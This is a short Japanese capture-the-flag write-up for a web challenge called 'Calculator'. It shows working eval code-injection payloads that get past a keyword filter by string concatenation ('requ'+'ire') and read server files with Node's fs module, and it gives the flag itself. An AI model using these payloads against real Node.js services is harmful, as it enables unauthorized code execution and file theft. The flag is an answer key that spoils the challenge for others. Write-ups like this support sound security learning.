WriteUP
CTF Timeを見たらNexHuntというCTFがあったので参加してみました。
そこで、Web問題の「Calculator」という問題を解きました!!!
問題
let's do some math
dedicated to BOUSLAA (nvm)
connection info :http://ctf.nexus-security.club:3067/
Author : CH@FX
解法
電卓と聞くとSSTIが思い出されるな
SSTI:Server Side Template Injection
とりあえず、サイトにアクセス
電卓の画面が出てきました
SSTIなのかな〜と思いながらBurp Suiteを起動して通信の中身を書き換えたいと思います。
レスポンスヘッダーを見ると
X-Powered-By: Express
の記載がありました。
調べてみると、、、
Node.jsが使用されたものであるとわかりました!
よってSSTIの線が弱くなりました。
eval関数を使用したコードインジェクションなのかなと思います。
フロントエンドのコードをしっかりみてみます。
fetch("/calculate", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ expr }),
});
これを見る電卓部分に入力された値(本来なら数値とか)の値を/calculate に送信していることがわかります。
よってexprにコードを入れてあげることで、フラグを取得することができるという見通しが立ちました。
Burpでいくつかコードを送って動作を確認したいと思います。
| 送った値 | 結果 |
|---|---|
| globalThis | Blocked Keyword |
| This | (NULL) |
ということで、いくつかのワードがブロックされているみたいです。
今回の場合だととりあえず「global」がブロックされていました。
しばらく悩んだ挙句「import("fs")」ができるか試してみました。
その結果。。。
無事通過
JavaScripのRCE?にあまり詳しくなかったのでここまで達するのに時間がかかってしまった
ここまでで分かったことをまとめると
- globalなどブロックされるキーワードがある
- importについてはブロックされない
これらを踏まえると、fsコマンドでディレクトリ探索を行った後に、ファイルの中身を出力するという完璧?な流れができましたね
そしたら、実際にlsしていきましょう!!
{
"expr": "module[require](\"fs\").readdirSync(\".\").join(\"\\n\")"
}
これで今いるディレクトリの詳細がわかります。
結果
Blocked Keyword
まぁそんなもんですよね。
次は、サニタイズ回避です![]()
{
"expr": "module[\"requ\"+\"ire\"](\"fs\").readdirSync(\".\").join(\"\\n\")"
}
これで今いるディレクトリの詳細がわかります(2回目)。
結果
{
"result":"Public\nflag.txt\nnode_modules\npackage-lock.json\npackage.json\nserver.js"
}
やった!!
ということで、最後にflag.txtの値を出力させて終わりです。
{
"expr": "module[\"requ\"+\"ire\"](\"fs\").readFileSync(\"flag.txt\",\"utf8\").toString()"
}
結果は
{
"result":"nexus{7h1s_1s_no7_3v4l_Th1s_15_3v1lllllllllllllllllll}"
}
フラグゲット!
お疲れ様でした。
JS eval型のRCEは初めてだった(=経験不足
)だったのでWriteUPを書きました。
もう少しうまいWriteUPを書けるように精進します

